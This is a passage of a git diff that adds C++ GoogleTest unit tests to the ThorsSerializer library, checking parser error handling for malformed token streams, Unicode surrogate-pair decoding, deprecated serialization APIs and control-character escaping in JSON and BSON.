getValue(long long int&) override{} + + virtual void getValue(unsigned short int&) override{} + virtual void getValue(unsigned int&) override{} + virtual void getValue(unsigned long int&) override{} + virtual void getValue(unsigned long long int&)override{} + + virtual void getValue(float&) override{} + virtual void getValue(double&) override{} + virtual void getValue(long double&) override{} + + virtual void getValue(bool&) override{} + + virtual void getValue(std::string& value) override{value = values[nextValue++];} + + virtual bool isValueNull() override{return false;} + + virtual std::string getRawValue() override{return "";} +}; + +} + +TEST(CornerCaseTest, IgnoreTheArrayUnexpectedKey) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ParserInterface::ParserToken::ArrayStart, + ParserInterface::ParserToken::Key, /* Don't expect a Key in Array */ + ParserInterface::ParserToken::ArrayEnd, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, IgnoreTheArrayUnexpectedMapEnd) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ParserInterface::ParserToken::ArrayStart, + ParserInterface::ParserToken::MapEnd, /* Don't expect a MapEnd in Array */ + ParserInterface::ParserToken::ArrayEnd, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, IgnoreTheArrayUnexpectedInvalidValue) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ParserInterface::ParserToken::ArrayStart, + ((ParserInterface::ParserToken)32762), /* Don't expect a Invalid in Array */ + ParserInterface::ParserToken::ArrayEnd, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, IgnoreTheValueUnexpectedKey) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ParserInterface::ParserToken::Key, /* Don't expect a key after a key */ + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, IgnoreTheValueUnexpectedMapEnd) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ParserInterface::ParserToken::MapEnd, /* Don't expect a MapEnd after a key */ + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, IgnoreTheValueUnexpectedArrayEnd) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ParserInterface::ParserToken::ArrayEnd, /* Don't expect an ArrayEnd after a key */ + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, IgnoreTheValueUnexpectedInvalidValue) +{ + std::stringstream stream; + std::vector keys {"Ignore"}; + std::vector values; + std::vector tokens + { ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key + ((ParserInterface::ParserToken)32762), /* Don't expect a Invalid after a Key */ + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + + SerializeTest::CornerCaseClass value; + EXPECT_THROW( + deSerializer.parse(value), + std::runtime_error + ); +} +TEST(CornerCaseTest, DeSerializerNoDocStart) +{ + auto test = []() + { + std::stringstream stream; + std::vector keys; + std::vector values; + std::vector tokens + { + // Missing DocStart + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass value; + deSerializer.parse(value); + }; + + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, DeSerializerNoDocEnd) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys; + std::vector values; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::MapEnd, + // Missing Doc End + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass value; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, DeSerializationForBlock_Struct_Constructor) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys; + std::vector values; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + // Missing MapStart + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass value; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, DeSerializationForBlock_Struct_HasMoreValue) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys; + std::vector values; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Value, // Not a key + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass value; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, DeSerializationForBlock_Value_ScanObject) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys{"value"}; + std::vector values; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, // Key -> "value" Expecting an ParserToken::Value next + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass value; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, TryParsePolyMorphicObject_NotMap) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys{"__type", "Type"}; + std::vector values{"CornerCaseClass", "15"}; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + // ParserInterface::ParserToken::MapStart, // Missing Map Start + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass* value = nullptr; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, TryParsePolyMorphicObject_MapNoKey) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys{"__type", "Type"}; + std::vector values{"CornerCaseClass", "15"}; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + // ParserInterface::ParserToken::Key, // Missing Key + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass* value = nullptr; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, TryParsePolyMorphicObject_MapKeyNot_Type) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys{"__typeXX", "Type"}; // Type incorrect + std::vector values{"CornerCaseClass", "15"}; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass* value = nullptr; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, TryParsePolyMorphicObject_MapKeyNotValue) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys{"__type", "Type"}; + std::vector values{"CornerCaseClass", "15"}; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::MapStart, // Needs to be a value (to get string and type name) + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass* value = nullptr; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} +TEST(CornerCaseTest, TryParsePolyMorphicObject_MapKeyValueBadType) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys{"__type", "Type"}; + std::vector values{"CornerCaseClass_XX", "15"}; // Bad Class Name + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::Key, + ParserInterface::ParserToken::Value, + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseClass* value = nullptr; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} + +namespace SerializeTest +{ +enum CornerCaseEnum {Enum1, Enum2, Enum3}; +} +ThorsAnvil_MakeEnum(SerializeTest::CornerCaseEnum, Enum1, Enum2, Enum3); +TEST(CornerCaseTest, DeSerializationForBlock_Enum_Constructor) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys; + std::vector values; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::MapStart, // Should be Value for enum + ParserInterface::ParserToken::MapEnd, + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + SerializeTest::CornerCaseEnum value; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} + +TEST(CornerCaseTest, DeSerializationForBlock_Array_Constructor) +{ + auto test = [](){ + std::stringstream stream; + std::vector keys; + std::vector values; + std::vector tokens + { + ParserInterface::ParserToken::DocStart, + ParserInterface::ParserToken::Value, // Should be ArrayStart for Array + ParserInterface::ParserToken::DocEnd, + }; + CornerCaseTest::ParserMock parser(stream, tokens, keys, values); + DeSerializer deSerializer(parser); + + std::vector value; + deSerializer.parse(value); + }; + EXPECT_THROW( + test(), + std::runtime_error + ); +} + +TEST(CornerCaseTest, ConvertHexToDec_InvalidCharacter) +{ + EXPECT_THROW( + ThorsAnvil::Serialize::convertHexToDec('G'), + std::runtime_error + ); + EXPECT_THROW( + ThorsAnvil::Serialize::convertHexToDec('g'), + std::runtime_error + ); + EXPECT_THROW( + ThorsAnvil::Serialize::convertHexToDec('@'), + std::runtime_error + ); + EXPECT_THROW( + ThorsAnvil::Serialize::convertHexToDec('`'), + std::runtime_error + ); + EXPECT_THROW( + ThorsAnvil::Serialize::convertHexToDec('/'), + std::runtime_error + ); + EXPECT_THROW( + ThorsAnvil::Serialize::convertHexToDec(':'), + std::runtime_error + ); +} + +TEST(CornerCaseTest, UnicodePushBackIterator_SlashSlash) +{ + using ThorsAnvil::Serialize::UnicodePushBackIterator; + using ThorsAnvil::Serialize::make_UnicodePushBackIterator; + + std::string stream; + auto iter = make_UnicodePushBackIterator(stream); + + iter = '\\'; ++iter; + iter = '\\'; ++iter; + + EXPECT_EQ(stream, R"(\)"); +} +TEST(CornerCaseTest, UnicodePushBackIterator_BackSlashBackSlash) +{ + using ThorsAnvil::Serialize::UnicodePushBackIterator; + using ThorsAnvil::Serialize::make_UnicodePushBackIterator; + + std::string stream; + auto iter = make_UnicodePushBackIterator(stream); + + iter = '\\'; ++iter; + iter = '/'; ++iter; + + EXPECT_EQ(stream, R"(/)"); +} + +// https://www.charbase.com/1d11e-unicode-musical-symbol-g-clef +// Surrogate Pair: d834 dd1e +// UTF-8: f0 9d 84 9e +TEST(CornerCaseTest, UnicodePushBackIterator_SurogatePair) +{ + using ThorsAnvil::Serialize::UnicodePushBackIterator; + using ThorsAnvil::Serialize::make_UnicodePushBackIterator; + + std::string stream; + auto iter = make_UnicodePushBackIterator(stream); + + iter = '\\'; ++iter; + iter = 'u'; ++iter; + iter = 'd'; ++iter; + iter = '8'; ++iter; + iter = '3'; ++iter; + iter = '4'; ++iter; + + iter = '\\'; ++iter; + iter = 'u'; ++iter; + iter = 'd'; ++iter; + iter = 'd'; ++iter; + iter = '1'; ++iter; + iter = 'e'; ++iter; + + // Should now be UTF-8 encoded. + ASSERT_EQ(4, stream.size()); + EXPECT_EQ('\xf0', stream[0]); + EXPECT_EQ('\x9d', stream[1]); + EXPECT_EQ('\x84', stream[2]); + EXPECT_EQ('\x9e', stream[3]); +} +TEST(CornerCaseTest, UnicodePushBackIterator_SurogatePair_SecondNotValid) +{ + using ThorsAnvil::Serialize::UnicodePushBackIterator; + using ThorsAnvil::Serialize::make_UnicodePushBackIterator; + + std::string stream; + auto iter = make_UnicodePushBackIterator(stream); + + iter = '\\'; ++iter; + iter = 'u'; ++iter; + iter = 'd'; ++iter; + iter = '8'; ++iter; + iter = '3'; ++iter; + iter = '4'; ++iter; + + // Should be R"(\udd1e)" + EXPECT_THROW( + iter = 'a', + std::runtime_error + ); +} +TEST(CornerCaseTest, UnicodePushBackIterator_SurogatePair_SecondNotValid_P2) +{ + using ThorsAnvil::Serialize::UnicodePushBackIterator; + using ThorsAnvil::Serialize::make_UnicodePushBackIterator; + + std::string stream; + auto iter = make_UnicodePushBackIterator(stream); + + iter = '\\'; ++iter; + iter = 'u'; ++iter; + iter = 'd'; ++iter; + iter = '8'; ++iter; + iter = '3'; ++iter; + iter = '4'; ++iter; + + iter = '\\'; ++iter; + // Should be R"(\udd1e)" + EXPECT_THROW( + iter = '\\', + std::runtime_error + ); +} +TEST(CornerCaseTest, UnicodePushBackIterator_SurogatePair_SecondNotValid_P3) +{ + using ThorsAnvil::Serialize::UnicodePushBackIterator; + using ThorsAnvil::Serialize::make_UnicodePushBackIterator; + + std::string stream; + auto iter = make_UnicodePushBackIterator(stream); + + iter = '\\'; ++iter; + iter = 'u'; ++iter; + iter = 'd'; ++iter; + iter = '8'; ++iter; + iter = '3'; ++iter; + iter = '4'; ++iter; + + // Should be R"(\udd1e)" + iter = '\\'; ++iter; + iter = 'u'; ++iter; + iter = '1'; ++iter; // 1 is not in the correct range + iter = 'd'; ++iter; + iter = '1'; ++iter; + + EXPECT_THROW( + iter = 'e', + std::runtime_error + ); +} +// ##### +TEST(CornerCaseTest, UnicodeWrapperIterator_SlashSlash) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\\")");; + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + char value = *loop; + EXPECT_EQ(value, '\\'); +} +TEST(CornerCaseTest, UnicodeWrapperIterator_BackSlashBackSlash) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\/")");; + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + char value = *loop; + EXPECT_EQ(value, '/'); +} +TEST(CornerCaseTest, UnicodeWrapperIterator_SlashK) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\k")");; + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + EXPECT_THROW( + *loop, + std::runtime_error + ); +} + +// https://www.charbase.com/1d11e-unicode-musical-symbol-g-clef +// Surrogate Pair: d834 dd1e +// UTF-8: f0 9d 84 9e +TEST(CornerCaseTest, UnicodeWrapperIterator_SurogatePair) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\ud834\udd1e")"); + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + EXPECT_EQ('\xf0', *loop); ++loop; + EXPECT_EQ('\x9d', *loop); ++loop; + EXPECT_EQ('\x84', *loop); ++loop; + EXPECT_EQ('\x9e', *loop); ++loop; +} +TEST(CornerCaseTest, UnicodeWrapperIterator_SurogatePair_SecondNotValid) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\ud834a")"); + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + // Should be R"(\udd1e)" + //EXPECT_EQ('\xf0', *loop); ++loop; + //EXPECT_EQ('\x9d', *loop); ++loop; + //EXPECT_EQ('\x84', *loop); ++loop; + //EXPECT_EQ('\x9e', *loop); ++loop; + EXPECT_THROW( + *loop, + std::runtime_error + ); +} +TEST(CornerCaseTest, UnicodeWrapperIterator_SurogatePair_SecondNotValid_P2) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\ud834\\")"); + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + //EXPECT_EQ('\xf0', *loop); ++loop; + //EXPECT_EQ('\x9d', *loop); ++loop; + //EXPECT_EQ('\x84', *loop); ++loop; + //EXPECT_EQ('\x9e', *loop); ++loop; + EXPECT_THROW( + *loop, + std::runtime_error + ); +} +TEST(CornerCaseTest, UnicodeWrapperIterator_SurogatePair_SecondNotValid_P3) +{ + using ThorsAnvil::Serialize::UnicodeWrapperIterator; + using ThorsAnvil::Serialize::make_UnicodeWrapperIterator; + + std::string stream(R"("\ud834\u1d1e")"); + auto loop = make_UnicodeWrapperIterator(std::begin(stream)); + + //EXPECT_EQ('\xf0', *loop); ++loop; + //EXPECT_EQ('\x9d', *loop); ++loop; + //EXPECT_EQ('\x84', *loop); ++loop; + //EXPECT_EQ('\x9e', *loop); ++loop; + EXPECT_THROW( + *loop, + std::runtime_error + ); +} + diff --git a/Extern/include/ThorsSerializer/test/DeprecatedTest.cpp b/Extern/include/ThorsSerializer/test/DeprecatedTest.cpp new file mode 100644 index 0000000..4236ee8 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/DeprecatedTest.cpp @@ -0,0 +1,53 @@ +#include "SerializeConfig.h" +#include "DeprecatedTest.h" +#include "IgnoreUneededDataTest.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "YamlThor.h" +#include "BsonThor.h" +#include +#include + +TEST(DeprecatedTest, Json) +{ + IgnoreUneededDataTest::Thing obj; + + std::stringstream data; + data << TA::jsonExport(obj); + + IgnoreUneededDataTest::Thing objver; + data >> TA::jsonImport(objver); +} +TEST(DeprecatedTest, Yaml) +{ + IgnoreUneededDataTest::Thing obj; + + std::stringstream data; + data << TA::yamlExport(obj); + + IgnoreUneededDataTest::Thing objver; + data >> TA::yamlImport(objver); +} + +TEST(DeprecatedTest, JsonMakeTraitCustom) +{ + DepricatedTypeSpace::NormalObject data{"BillyTheKid", 12}; + + std::stringstream stream; + stream << ThorsAnvil::Serialize::jsonExporter(data); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return std::isspace(x);}), std::end(result));; + + EXPECT_EQ(R"({"name":"BillyTheKid","value":12})", result); +} + +TEST(DeprecatedTest, BsonMakeTraitCustom) +{ + DepricatedTypeSpace::NormalObject data{"ShouldThrowAsCustomIsNotSupportedByBSON", 88}; + + std::stringstream stream; + EXPECT_ANY_THROW( + stream << ThorsAnvil::Serialize::bsonExporter(data) + ); +} diff --git a/Extern/include/ThorsSerializer/test/DeprecatedTest.h b/Extern/include/ThorsSerializer/test/DeprecatedTest.h new file mode 100644 index 0000000..11f5b2c --- /dev/null +++ b/Extern/include/ThorsSerializer/test/DeprecatedTest.h @@ -0,0 +1,33 @@ +#ifndef DEPRICATED_TEST_H +#define DEPRICATED_TEST_H + +#include "Traits.h" +#include +#include + +namespace DepricatedTypeSpace +{ + +struct CustomSerialize +{ + int value; + // required by ThorsAnvil_MakeTraitCustom to serialize the data. + friend std::ostream& operator<<(std::ostream& stream, CustomSerialize const& data) + { + return stream << data.value; + } +}; + +struct NormalObject +{ + std::string name; + CustomSerialize value; +}; + + +} + +ThorsAnvil_MakeTraitCustom(DepricatedTypeSpace::CustomSerialize); +ThorsAnvil_MakeTrait(DepricatedTypeSpace::NormalObject, name, value); + +#endif diff --git a/Extern/include/ThorsSerializer/test/EscapeControlTest.cpp b/Extern/include/ThorsSerializer/test/EscapeControlTest.cpp new file mode 100644 index 0000000..6a08128 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/EscapeControlTest.cpp @@ -0,0 +1,267 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include +#include + + +TEST(EscapeControlTest, JsonNormalInput) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream input("\"String With no special characters\""); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, true); +} +TEST(EscapeControlTest, JsonInputContainsTab) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream input("\"\t A string with A tab\""); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, false); +} +TEST(EscapeControlTest, JsonInputContainsBS) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream input("\"\b A string with A Back Space\""); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, false); +} +TEST(EscapeControlTest, JsonInputContainsNL) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream input("\"\n A string with A New Line\""); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, false); +} +TEST(EscapeControlTest, JsonInputContainsFF) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream input("\"\f A string with A Form Feed\""); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, false); +} +TEST(EscapeControlTest, JsonInputContainsCR) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream input("\"\r A string with A Carridge Return\""); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::jsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, false); +} +TEST(EscapeControlTest, JsonOutputContainsTab) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\t A string with A tab"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::jsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + EXPECT_EQ(exportDone, true); + EXPECT_EQ(output.str().find('\t'), std::string::npos); + auto find = output.str().find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(output.str()[find+1], 't'); +} +TEST(EscapeControlTest, JsonOutputContainsBS) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\b A string with A Back Space"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::jsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + EXPECT_EQ(exportDone, true); + EXPECT_EQ(output.str().find('\t'), std::string::npos); + auto find = output.str().find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(output.str()[find+1], 'b'); +} +TEST(EscapeControlTest, JsonOutputContainsNL) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\n A string with A New Line"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::jsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + EXPECT_EQ(exportDone, true); + EXPECT_EQ(output.str().find('\t'), std::string::npos); + auto find = output.str().find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(output.str()[find+1], 'n'); +} +TEST(EscapeControlTest, JsonOutputContainsFF) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\f A string with A Form Feed"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::jsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + EXPECT_EQ(exportDone, true); + EXPECT_EQ(output.str().find('\t'), std::string::npos); + auto find = output.str().find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(output.str()[find+1], 'f'); +} +TEST(EscapeControlTest, JsonOutputContainsCR) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\r A string with A Carridge Return"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::jsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + EXPECT_EQ(exportDone, true); + EXPECT_EQ(output.str().find('\t'), std::string::npos); + auto find = output.str().find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(output.str()[find+1], 'r'); +} + +TEST(EscapeControlTest, BsonNormalInput) +{ + using ThorsAnvil::Serialize::ParserInterface; + //std::stringstream input("\"String With no special characters\""); + static const char inputRaw[] + = "\x2E\x00\x00\x00" + "\x02" "0\x00" "\x22\x00\x00\x00" "String With no special characters\x00" + "\x00"; + std::string inputString(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream input(inputString); + std::string value; + bool importDone = false; + + if (input >> ThorsAnvil::Serialize::bsonImporter(value, ParserInterface::ParseType::Weak)) { + importDone = true; + } + EXPECT_EQ(importDone, true); +} +TEST(EscapeControlTest, BsonOutputContainsTab) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\t A string with A tab"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::bsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + std::string_view outputView((&*output.str().begin()) + 11 , std::size(value)); + EXPECT_EQ(exportDone, true); + EXPECT_EQ(outputView.find('\t'), std::string::npos); + auto find = outputView.find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(outputView[find+1], 't'); +} +TEST(EscapeControlTest, BsonOutputContainsBS) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\b A string with A Back Space"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::bsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + std::string_view outputView((&*output.str().begin()) + 11 , std::size(value)); + EXPECT_EQ(exportDone, true); + EXPECT_EQ(outputView.find('\t'), std::string::npos); + auto find = outputView.find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(outputView[find+1], 'b'); +} +TEST(EscapeControlTest, BsonOutputContainsNL) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\n A string with A New Line"); + std::stringstream output; + bool exportDone = false; + + if (output << 